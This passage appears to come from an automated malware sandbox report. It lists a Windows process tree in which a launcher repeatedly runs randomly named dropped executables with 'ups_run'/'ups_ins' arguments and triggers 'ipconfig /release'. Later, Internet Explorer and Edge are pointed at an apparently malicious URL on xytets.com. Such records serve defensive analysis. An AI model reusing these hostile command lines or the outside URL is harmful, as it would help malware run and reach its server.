        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4720
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2776
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_jhbztrljet.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:6124
  - - C:\Temp\i_jhbztrljet.exe
      C:\Temp\i_jhbztrljet.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5020
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\tomgeywqoj.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5308
  - - C:\Temp\tomgeywqoj.exe
      C:\Temp\tomgeywqoj.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:5356
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4688
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:5692
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_tomgeywqoj.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1812
  - - C:\Temp\i_tomgeywqoj.exe
      C:\Temp\i_tomgeywqoj.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4348
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\bvtnlfdywq.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4480
  - - C:\Temp\bvtnlfdywq.exe
      C:\Temp\bvtnlfdywq.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2932
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:3344
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2732
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_bvtnlfdywq.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:5816
  - - C:\Temp\i_bvtnlfdywq.exe
      C:\Temp\i_bvtnlfdywq.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4344
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\idayvpnlig.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:2488
  - - C:\Temp\idayvpnlig.exe
      C:\Temp\idayvpnlig.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1000
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4276
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1464
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_idayvpnlig.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:2744
  - - C:\Temp\i_idayvpnlig.exe
      C:\Temp\i_idayvpnlig.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4440
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\icaqkicxus.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5980
  - - C:\Temp\icaqkicxus.exe
      C:\Temp\icaqkicxus.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1360
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:4800
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:6068
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_icaqkicxus.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:3008
  - - C:\Temp\i_icaqkicxus.exe
      C:\Temp\i_icaqkicxus.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5820
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\pnhfcaxspn.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:5440
  - - C:\Temp\pnhfcaxspn.exe
      C:\Temp\pnhfcaxspn.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4140
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:1848
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2300
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_pnhfcaxspn.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:1888
  - - C:\Temp\i_pnhfcaxspn.exe
      C:\Temp\i_pnhfcaxspn.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1036
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\khcausmkez.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:4144
  - - C:\Temp\khcausmkez.exe
      C:\Temp\khcausmkez.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5500
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        Executes dropped EXE
        
        PID:5672
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4928
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_khcausmkez.exe ups_ins
    3⤵
    - Executes dropped EXE
    PID:3568
  - - C:\Temp\i_khcausmkez.exe
      C:\Temp\i_khcausmkez.exe ups_ins
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:6020
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\wurmjhbzwu.exe ups_run
    3⤵
    - Executes dropped EXE
    PID:3524
  - - C:\Temp\wurmjhbzwu.exe
      C:\Temp\wurmjhbzwu.exe ups_run
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      PID:5360
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3840
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4348
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_wurmjhbzwu.exe ups_ins
    3⤵
    PID:5588
  - - C:\Temp\i_wurmjhbzwu.exe
      C:\Temp\i_wurmjhbzwu.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4124
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ebztjebwuo.exe ups_run
    3⤵
    PID:5148
  - - C:\Temp\ebztjebwuo.exe
      C:\Temp\ebztjebwuo.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:1036
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:6008
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4976
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ebztjebwuo.exe ups_ins
    3⤵
    PID:4676
  - - C:\Temp\i_ebztjebwuo.exe
      C:\Temp\i_ebztjebwuo.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2084
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\qomgeywtrl.exe ups_run
    3⤵
    PID:5720
  - - C:\Temp\qomgeywtrl.exe
      C:\Temp\qomgeywtrl.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:6092
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5088
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:712
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_qomgeywtrl.exe ups_ins
    3⤵
    PID:3248
  - - C:\Temp\i_qomgeywtrl.exe
      C:\Temp\i_qomgeywtrl.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1784
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\ytrljdbvtn.exe ups_run
    3⤵
    PID:4184
  - - C:\Temp\ytrljdbvtn.exe
      C:\Temp\ytrljdbvtn.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4128
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2808
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1144
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_ytrljdbvtn.exe ups_ins
    3⤵
    PID:1680
  - - C:\Temp\i_ytrljdbvtn.exe
      C:\Temp\i_ytrljdbvtn.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3420
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\igdyvtnlig.exe ups_run
    3⤵
    PID:3544
  - - C:\Temp\igdyvtnlig.exe
      C:\Temp\igdyvtnlig.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:5628
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4760
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4880
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_igdyvtnlig.exe ups_ins
    3⤵
    PID:1120
  - - C:\Temp\i_igdyvtnlig.exe
      C:\Temp\i_igdyvtnlig.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4704
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\causqkifay.exe ups_run
    3⤵
    PID:2708
  - - C:\Temp\causqkifay.exe
      C:\Temp\causqkifay.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:3124
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:3056
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:3460
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_causqkifay.exe ups_ins
    3⤵
    PID:4064
  - - C:\Temp\i_causqkifay.exe
      C:\Temp\i_causqkifay.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5916
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\vpnkfcaxvp.exe ups_run
    3⤵
    PID:612
  - - C:\Temp\vpnkfcaxvp.exe
      C:\Temp\vpnkfcaxvp.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4976
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:5448
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:4344
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_vpnkfcaxvp.exe ups_ins
    3⤵
    PID:4764
  - - C:\Temp\i_vpnkfcaxvp.exe
      C:\Temp\i_vpnkfcaxvp.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5812
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\pmkfcxvpnh.exe ups_run
    3⤵
    PID:4544
  - - C:\Temp\pmkfcxvpnh.exe
      C:\Temp\pmkfcxvpnh.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:4272
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:2108
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:1088
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_pmkfcxvpnh.exe ups_ins
    3⤵
    PID:1216
  - - C:\Temp\i_pmkfcxvpnh.exe
      C:\Temp\i_pmkfcxvpnh.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4280
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\pmkfzxrpjh.exe ups_run
    3⤵
    PID:3880
  - - C:\Temp\pmkfzxrpjh.exe
      C:\Temp\pmkfzxrpjh.exe ups_run
      4⤵
      System Location Discovery: System Language Discovery
      PID:2544
    - - C:\temp\CreateProcess.exe
        
        C:\temp\CreateProcess.exe C:\windows\system32\ipconfig.exe /release
        5⤵
        
        PID:4704
      - C:\windows\system32\ipconfig.exe
        
        C:\windows\system32\ipconfig.exe /release
        6⤵
        Gathers network information
        
        PID:2352
- - C:\temp\CreateProcess.exe
    C:\temp\CreateProcess.exe C:\Temp\i_pmkfzxrpjh.exe ups_ins
    3⤵
    PID:4548
  - - C:\Temp\i_pmkfzxrpjh.exe
      C:\Temp\i_pmkfzxrpjh.exe ups_ins
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1112
- C:\Program Files\Internet Explorer\iexplore.exe
  "C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home
  2⤵
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:4208
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" -- "http://xytets.com:2345/t.asp?os=home"
    3⤵
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:3196
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x304,0x7ff93465c188,0x7ff93465c194,0x7ff93465c1a0
      4⤵
      PID:2096
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1844,i,16367266575595387422,10479679441954135963,524288 --field-trial-handle=2680,i,600614784701916620,16774972357848891211,262144 --variations-seed-version --mojo-platform-channel-handle=2632 /prefetch:11
      4⤵
      System Time Discovery
      PID:4772
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2328,i,4991690006583528041,14461963772316308182,524288 --field-trial-handle=2680,i,600614784701916620,16774972357848891211,262144 --variations-seed-version --mojo-platform-channel-handle=2764 /prefetch:13
      4⤵
      PID:2384
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1656,i,10343810851704669029,10362099838937918423,262144 --field-trial-handle=2680,i,600614784701916620,16774972357848891211,262144 --variations-seed-version --mojo-platform-channel-handle=2676 /prefetch:2
      4⤵
      PID:3180
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3536,i,9504691365520308893,7376746356248634608,2097152 --field-trial-handle=2680,i,600614784701916620,16774972357848891211,262144 --variations-seed-version --mojo-platform-channel-handle=3568 /prefetch:1
      4⤵
      PID:3616
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3556,i,7815985013659626126,14366043077249977580,2097152 --field-trial-handle=2680,i,600614784701916620,16774972357848891211,262144 --variations-seed-version --mojo-platform-channel-handle=3572 /prefetch:1
      4⤵
      PID:2356
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4296,i,6948987011933047557,11742133133884210850,2097152 --field-trial-handle=2680,i,600614784701916620,16774972357848891211,262144 --variations-seed-version --mojo-platform-channel-handle=1556 /prefetch:9
      4⤵
      PID:2300
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4288,i,2183482768196625129,9186217800987345627,2097152 --field-trial-handle=2680,i,600614784701916620,16774972357848891211,262144 --variations-seed-version --mojo-platform-channel-handle=4284 /prefetch:1
      4⤵
      PID:2560
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3752,i,3100114641471345738,1988404971696304620,524288 --field-trial-handle=2680,i,600614784701916620,16774972357848891211,262144 --variations-seed-version --mojo-platform-channel-handle=3708 /prefetch:14
      4⤵
      PID:4760
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5404,i,10295993719237629706,18374967907733488177,524288 --field-trial-handle=2680,i,600614784701916620,16774972357848891211,262144 --variations-seed-version --mojo-platform-channel-handle=5368 /prefetch:14
      4⤵
      PID:1204
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5416,i,6727557393137848562,17707163632523716827,524288 --field-trial-handle=2680,i,600614784701916620,16774972357848891211,262144 --variations-seed-version --mojo-platform-channel-handle=5372 /prefetch:14
      4⤵
      PID:1280
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5932,i,18385844615805632220,7432420442689641208,524288 --field-trial-handle=2680,i,600614784701916620,16774972357848891211,262144 --variations-seed-version --mojo-platform-channel-handle=5948 /prefetch:14
      4⤵
      PID:3240
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5932,i,18385844615805632220,7432420442689641208,524288 --field-trial-handle=2680,i,600614784701916620,16774972357848891211,262144 --variations-seed-version --mojo-platform-channel-handle=5948 /prefetch:14
      4⤵
      PID:4844
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6276,i,14199805042967448608,5479399865451352218,524288 --field-trial-handle=2680,i,600614784701916620,16774972357848891211,262144 --variations-seed-version --mojo-platform-channel-handle=6296 /prefetch:14
      4⤵
      PID:6012
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6648,i,17527782621845340345,8628365586497580865,524288 --field-trial-handle=2680,i,600614784701916620,16774972357848891211,262144 --variations-seed-version --mojo-platform-channel-handle=6664 /prefetch:14
      4⤵
      PID:3052
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4760,i,2763139338750777946,9737652206101932597,524288 --field-trial-handle=2680,i,600614784701916620,16774972357848891211,262144 --variations-seed-version --mojo-platform-channel-handle=4948 /prefetch:14
      4⤵
      PID:1648
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1556,i,16928522404305897295,9394854637523576956,524288 --field-trial-handle=2680,i,600614784701916620,16774972357848891211,262144 --variations-seed-version --mojo-platform-channel-handle=5032 /prefetch:14
      4⤵
      PID:4700
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4964,i,12957777905584579582,17275779244538933207,524288 --field-trial-handle=2680,i,600614784701916620,16774972357848891211,262144 --variations-seed-version --mojo-platform-channel-handle=5012 /prefetch:14
      4⤵
      PID:3568
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-US --service-sandbox-type=search_indexer --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5088,i,13760566384487208597,9406956654056100163,524288 --field-trial-handle=2680,i,600614784701916620,16774972357848891211,262144 --variations-seed-version --mojo-platform-channel-handle=4296 /prefetch:14
      4⤵
      PID:3324
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5024,i,13934840900379054638,7373007457068784186,524288 --field-trial-handle=2680,i,600614784701916620,16774972357848891211,262144 --variations-seed-version --mojo-platform-channel-handle=6036 /prefetch:14
      4⤵
      PID:4212
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6296,i,7943827921555444237,6828838358645409142,524288 --field-trial-handle=2680,i,600614784701916620,16774972357848891211,262144 --variations-seed-version --mojo-platform-channel-handle=5876 /prefetch:14
      4⤵
      PID:4788
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6032,i,13174897388773741312,12944160624330159464,524288 --field-trial-handle=2680,i,600614784701916620,16774972357848891211,262144 --variations-seed-version --mojo-platform-channel-handle=6252 /prefetch:14
      4⤵
      PID:2024
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=928,i,10004036254093741748,9404124218886654104,262144 --field-trial-handle=2680,i,600614784701916620,16774972357848891211,262144 --variations-seed-version --mojo-platform-channel-handle=6340 /prefetch:10
      4⤵
      PID:5944
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3576,i,12608729999427171834,8210078116174579480,524288 --field-trial-handle=2680,i,600614784701916620,16774972357848891211,262144 --variations-seed-version --mojo-platform-channel-handle=5076 /prefetch:14
      4⤵
      PID:5604

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
